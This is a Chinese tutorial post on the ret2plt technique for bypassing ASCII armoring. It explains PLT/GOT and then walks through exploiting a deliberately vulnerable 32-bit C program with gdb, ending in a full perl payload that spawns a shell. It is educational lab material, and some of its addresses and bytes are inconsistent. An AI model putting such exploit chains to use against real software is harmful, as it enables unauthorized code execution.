使用ret2plt绕过libc安全区

Posted 海枫

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了使用ret2plt绕过libc安全区相关的知识,希望对你有一定的参考价值。

背景

前面介绍ret2libc攻击技术,原理很简单,只需要将system函数的地址填充到eip的位置,然后再把”/bin/bash”地址填充到eip + 8的位置即可以实现攻击。

很快安全专家提出了ASCII armoring保护机制。该方法完全为抵抗ret2libc攻击方法而生。既然ret2libc需要将system函数地址填充到栈上,那ASCII armoring就想办法让libc所有函数的地址都包含一个零字节(NULL byte),让strcpy拷贝函数在遇到零地址时结束拷贝,攻击失败。

尽管有了ASCII armoring机制,但很快安全人员发现一种新攻击方法,可以攻破它,这个方法称为ret2plt。在介绍ret2plt之前,我们先简单介绍一下什么是plt。

ELF的姐妹花plt与got

PLT全称为Procedure Linkage Table,中文为链接过程表,它与动态库的动态链接过程息息相关。提到PLT就不得不要提及GOT,GOT全移为Global Offset Table。plt和got是调用动态库函数的重要过程。

为了方便讨论 plt和got,我们将今晚的主角代码请出场(stack4.c)

#include <stdio.h>
#include <string.h>
void evilfunction(char *input) 
    char buffer[512];
    strcpy(buffer, input);

    printf("strcpy %s\\n", input);
    printf("strcpy done\\n");


int main(int argc, char *argv[]) 
    evilfunction(argv[1]);
    return 0;

编译

gcc -Wall -g -o stack4 stack4.c -fno-stack-protector -m32

眼尖读者会想到,上述代码中的strcpy和printf函数都是glibc库里面,glibc动态库的运行地址是运行时动态加载才能确定的,编译时是不知道它的真实地址的,那编译器是怎么解决的呢?

ELF规范使用PLT和GOT技术解决动态重定位过程,每个动态库函数(上述的strcpy和printf)都有段PLT桩代码和一个GOT项。
PLT桩代码用于引导调用者跳到动态链接器(ld-linux.so.2),而GOT项则存该函数动态重定位完成之后找到的真正地址。

以上代码为样本,以一张图来显示printf/strcpy函数的 PLT以及GOT的关系。

如果有机会可再写一篇详细介绍PLT和GOT的文章,在里面只做简单的介绍。

PLT表是由多个PLT表项组成,其中第一项是公共项,剩下是每个动态库函数一项,每项由3条指令组成(具体X86和ARM不同,上图为X86版本)。
GOT表也是由多个GOT表项组成,前面有3项个公共项,剩下的是每个动态库函数一项,动态库项存放的是动态库加载之后该函数的真正地址。

对于已经找到真正地址的动态库函数来说,它的GOT表存放真正地址(上图中展示的情况是还未找它的真正地址),它的调用过程非常简单,以evilfunction函数调用strcpy函数为例,就是执行上图中的1,2,3这三步,就执行到strcpy函数内部。
但是任何一个动态库函数调用,它的第一次调用,GOT表项还没有存放它的真正地址,它需要在这一次调用中做两个事情1)通过动态链接找到该函数地址填到GOT表项中,2)再调用。
第2)步调用与已经重定位好的函数调用没有两样,下面简单说一下第1)步。还是以strcpy函数为例:它的GOT项为上图中标示为3的项,编译器在静态链接中,无法知道strcpy的运行地址,所以它的GOT内空指向了strcpy PLT表项中的第二条指令(上图标4),然后跳到公共PLT表项(上图6和7),最后根据GOT第3公共项(上图标8)跳到动态链接器的符号查找函数将strcpy的函数找到,并将地址写到它对应的GOT表项。它的完整过程就是上图中1->2->3->4->5->6->7->8过程。

后面会讲述如何利用PLT和GOT进行攻击,只需了解如下要点即可:
1)evilfunction函数只需要知该函数对应的PLT桩地址即可以调用,其它事情由PLT和GOT处理,evilfunction不需要感知实现细节
2)GOT表项保存动态库函数的地址。

ret2plt攻击路思

ret2libc攻击方法的的要点就是将system和”/bin/bash”两个地址注入到栈中,但是ASCII armoring让system地址产生了零字节,无法进行同样的攻击。
那该如何处理?安全专家想到了一个非常有技巧性的方法,就是能否不直接拷贝system函数的地址,而是通过不同的内存空间拼凑而产生system的地址。这样产生了两个问题

  • 有什么技巧可以多次拼凑成system函数地址
  • 该地址应该在什么地址比较适合

对于第一点,想到了一个叫PPR(pop; pop; ret)指令序列可以将多个strcpy函数调用串起来。
对于第二点,有一个比较不依赖于libc空间的地址,即就是GOT表项。

此,ret2plt的攻击思想就是:通过多次strcpy函数,拼凑出system函数地址放到某个GOT表中,然后通过GOT来调用system函数。它的栈结构和执行过程如图所示:

整个过程最为巧妙的过程就是利用PPR(pop, pop, ret指令顺序首地址)技巧,使用可以将高地址的两个参数出栈,再执行下一个strcpy函数。

攻击过程

根据上图的栈结构,需要找到如下的地址:
1. strcpy的plt地址
2. PPR指令序列地址
3. system函数地址,并且找到4个地址分别包含system[0], system[1], system[2]和system[3]
4. puts的got地址
5. puts的plt地址
6. “/bin/bash”字符串地址

对准eip位置

gdb ./stack4
(gdb) r “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”

Starting program: /home/ivan/exploit/stack4 “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”
strcpy
strcpy done

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

显然第524字节之后就可以对准EIP了。

strcpy的PLT地址

(gdb) disassemble evilfunction
 Dump of assembler code for function evilfunction:
    0x08048444 <+0>:     push   %ebp
    0x08048445 <+1>:     mov    %esp,%ebp
    0x08048447 <+3>:     sub    $0x218,%esp
    0x0804844d <+9>:     mov    0x8(%ebp),%eax
    0x08048450 <+12>:    mov    %eax,0x4(%esp)
    0x08048454 <+16>:    lea    -0x208(%ebp),%eax
    0x0804845a <+22>:    mov    %eax,(%esp)
    0x0804845d <+25>:    call   0x8048350 <strcpy@plt>
    0x08048462 <+30>:    mov    $0x8048580,%eax
    0x08048467 <+35>:    mov    0x8(%ebp),%edx
    0x0804846a <+38>:    mov    %edx,0x4(%esp)
    0x0804846e <+42>:    mov    %eax,(%esp)
    0x08048471 <+45>:    call   0x8048340 <printf@plt>
    0x08048476 <+50>:    movl   $0x804858b,(%esp)
    0x0804847d <+57>:    call   0x8048360 <puts@plt>
    0x08048482 <+62>:    leave
    0x08048483 <+63>:    ret
 End of assembler dump.

直接反编译evilfunction可直接获取strcpy的PLT地址为0x08048350。

PPR指令地址

使用objdump -d stack4命令输出汇编指令,然后查找pop/pop/ret指令顺序,结果如下:

8048412: 5b pop %ebx
8048413: 5d pop %ebp
8048414: c3 ret

因此PPR的地址为: 0x08048412。

system[0..3]地址

由于 ASCII armoring机制,system的地址含有零字节,造成strcpy拷贝结束,达不到预期的攻击效果。攻击者想到ret2plt攻击方法,就是找到4个地址空间,它的首字节分别是system地址的第一个byte, 第二个byte,第三个byte和第四个byte,然后一个个byte拷贝,将这4个byte拼凑到GOT里面。从而绕过直接拷贝system地址造成失败。

system地址

ASCII armoring特性是Redhat开发的,只在Redhat Server和 Fodera上才有,Ubuntu上没有该安全特性。本测试是在Ubuntu上进行的,它的system地址不包含零字节,本可以直接使用ret2libc进行攻击的。但为了展示ret2plt攻击方法的高超技巧,还得值得跟大家分享的。

(gdb) p system
$1=<text variable, no debug info> 0xf7e5ce80 <system>

system的址为0xf5e5ce80

找到4个地址首字节包含system的byte

对于字节查找gdb提供了find命令,可以对某一段内存空间上查找某些字节或者字内容。
那该在哪些空间查找呢,为了攻击更准确,可以只在镜像内存空间上查找,gdb提供了info file命令,查看进程空间布局:

(gdb) info file
Symbols from “/home/ivan/exploit/stack4”.
Unix child process:
Using the running image of child process 4883.
While running this, GDB does not access memory from…
Local exec file:
`/home/ivan/exploit/stack4’, file type elf32-i386.
Entry point: 0x8048390
0x08048154 - 0x08048167 is .interp
0x08048168 - 0x08048188 is .note.ABI-tag
0x08048188 - 0x080481ac is .note.gnu.build-id
0x080481ac - 0x080481cc is .gnu.hash
0x080481cc - 0x0804823c is .dynsym
0x0804823c - 0x08048294 is .dynstr
0x08048294 - 0x080482a2 is .gnu.version
0x080482a4 - 0x080482c4 is .gnu.version_r
0x080482c4 - 0x080482cc is .rel.dyn
0x080482cc - 0x080482f4 is .rel.plt
0x080482f4 - 0x08048322 is .init
0x08048330 - 0x08048390 is .plt
0x08048390 - 0x0804855c is .text
0x0804855c - 0x08048576 is .fini
0x08048578 - 0x08048597 is .rodata
0x08048598 - 0x080485d4 is .eh_frame_hdr
0x080485d4 - 0x080486b8 is .eh_frame
0x08049f14 - 0x08049f1c is .ctors
0x08049f1c - 0x08049f24 is .dtors
0x08049f24 - 0x08049f28 is .jcr
0x08049f28 - 0x08049ff0 is .dynamic
0x08049ff0 - 0x08049ff4 is .got
0x08049ff4 - 0x0804a014 is .got.plt
0x0804a014 - 0x0804a01c is .data
0x0804a01c - 0x0804a024 is .bss
0xf7fdc114 - 0xf7fdc138 is .note.gnu.build-id in /lib/ld-linux.so.2
0xf7fdc138 - 0xf7fdc1f4 is .hash in /lib/ld-linux.so.2
0xf7fdc1f4 - 0xf7fdc2d4 is .gnu.hash in /lib/ld-linux.so.2
0xf7fdc2d4 - 0xf7fdc494 is .dynsym in /lib/ld-linux.so.2
0xf7fdc494 - 0xf7fdc612 is .dynstr in /lib/ld-linux.so.2
0xf7fdc612 - 0xf7fdc64a is .gnu.version in /lib/ld-linux.so.2
0xf7fdc64c - 0xf7fdc714 is .gnu.version_d in /lib/ld-linux.so.2
从第一个段,到BSS段都属于镜像内存,使用find命令在此空间内查找system地址的4个byte。注意:由于system地址最终要拷贝到got表,X86是小端字节序,因此先要拷贝低位字节,即拷贝顺序是: 0x80, 0xce, 0xe5, 0xf7。依此顺序4个byte的find命令的如果如下:

(gdb) find /b 0x08048154, 0x08049f24, 0x80
 0x80483c7 <__do_global_dtors_aux+7>

 (gdb) find /b 0x08048154, 0x0804a024, 0xee
 0x804845e <evilfunction+26>

 (gdb) find /b 0x08048154, 0x0804a024, 0xe5
 0x80483c2 <__do_global_dtors_aux+2>

 (gdb) find /b 0x08048154, 0x0804a024, 0xf7
 0x8049f6f

4地址分别是:0x80483c7, 0x804845e ,0x80483c2,0x8049f6f

puts的plt地址和got地址

其实只需要把system地址拼凑到got表项即可,不一定是需要puts函数的got表项。但有另一点需要注意的是,上面查找到首字节分别包含 0x80, 0xce, 0xe5, 0xf7的地址空间,它的第二字节不一定是0x00,即字符串结束符。那么strcpy在做地址拼凑拷贝时,会拷贝多个字节,甚至把下一个got都覆盖了。因此在选项目标got时,它的地址一定要在strcpy got地址的后面,否则strpcy got一旦被修改后,strcpy的调用会失效,这就是本文选择 puts got的原因。

通过gdb反编译evilfunction可找到它的plt地址,沿着plt指令可以找到got地址,分别如下:

puts@plt = 0x08048360
puts@got = 0x0804a008

“/bin/bash”字符串地址

根据前面介绍的方法,可以在攻击向量中包含”/bin/bash”字符串,然后计算它对应的栈地址,也就找到了。
其实,Linux里面有个shell环境变量,表示前使用哪个shell,它的值通常是”/bin/bash”,如下:

$ env | grep -i shell
SHELL=/bin/bash

每个进程的环境变量都保存在主线程的栈上,因此可以在主线程栈空间上找到该字符串。由于本文的代码为单线程 ,因此可以沿着esp地址往上找即可:

(gdb) x/1000s $esp

0xffffd8b4: “/home/ivan/exploit/stack4”
0xffffd8ce: “SHELL=/bin/bash”
0xffffd8de: “TERM=xterm”

因此”/bin/bash”字符串地址为0xffffd8ce + 6 = 0xffffd8d4

形成攻击向量

其实图2已有攻击结构,内容如下:

strcpy@plt + PPR + puts@got[0] + addr of system[0]
strcpy@plt + PPR + puts@got[1] + addr of system[1]
strcpy@plt + PPR + puts@got[2] + addr of system[2]
strcpy@plt + PPR + puts@got[3] + addr of system[3]
puts@plt + exit + addr of “/bin/bash”

根据上面使用gdb一步步找到的内容往上填,即可形成攻击向量:

“\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x08\\xa0\\x04\\x08” . “\\xc7\\x83\\x04\\x08” .
“\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x0a\\xa0\\x04\\x08” . “\\xc2\\x83\\x04\\x08” .
“\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x0b\\xa0\\x04\\x08” . “\\x6f\\x9f\\x04\\x08” .
“\\x60\\x83\\x04\\x08” . “\\x60\\x2b\\xe5\\xf7” . “\\xd4\\xd8\\xff\\xff”

测试

./stack4" (perl -e ‘print “A”x524 . “\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x08\\xa0\\x04\\x08” . “\\xc7\\x83\\x04\\x08” . “\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x09\\xa0\\x04\\x08” . “\\x5e\\x84\\x04\\x08” . “\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x0a\\xa0\\x04\\x08” . “\\xc2\\x83\\x04\\x08” . “\\x50\\x83\\x04\\x08” . “\\x12\\x84\\x04\\x08” . “\\x0b\\xa0\\x04\\x08” . “\\x6f\\x9f\\x04\\x08” . “\\x60\\x83\\x04\\x08” . “\\x60\\x2b\\xe5\\xf7” . “\\xd4\\xd8\\xff\\xff”’)”
strcpy []Ít&
strcpy done
$

成功打开一个新bash,测试通过。

小结

ret2plt攻击难度比之前的ret2lic攻击方法难度高很多,对于入门者来说,很难一次攻击成功,需要不停地使用gdb调用,才能最终成功。测试时需要多用gdb进行分析攻击向量哪里搞错了。

以上是关于使用ret2plt绕过libc安全区的主要内容,如果未能解决你的问题,请参考以下文章

Linux Exploit系列之四 使用return-to-libc绕过NX bit

Linux- 系统随你玩之--文件管理-双生姐妹花

linux(x86) exploit 开发系列4:使用return2libc绕过NX

linux(x86) exploit 开发系列5:使用ret2libc链绕过NX

05-perl语言中的字符串处理及排序

Linux下利用Ret2Libc绕过DEP